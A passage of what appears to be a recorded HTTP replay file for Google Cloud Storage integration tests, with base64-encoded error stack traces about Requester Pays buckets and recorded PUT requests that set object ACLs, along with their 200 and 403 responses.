cmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "5dbdf24cae75e565", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "463" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:10 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpoJgRZ665WjiUif7SnQ-Vg4B0kJl-UQ_kIk5XgmcQIL5zmCBp3NCxjksybkvNKpGcQnIJSLevfyWd2fugRv5y5vxmEBgqFffIy8ibTIyBDH4b7R74" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBVT0ifQ==" - } - }, - { - "ID": "f41892a142fe6d2b", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpThInLTHhtepE7J4k-Rg6OoLRyOqnjPz4sZmfIH6wp5TSIyLrZQhExKAP52XbwUwMYp7x-xypSMY5kfR66I-dmpRWaFkfs0Lhy-Z6kqb5JUXSppqk" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS5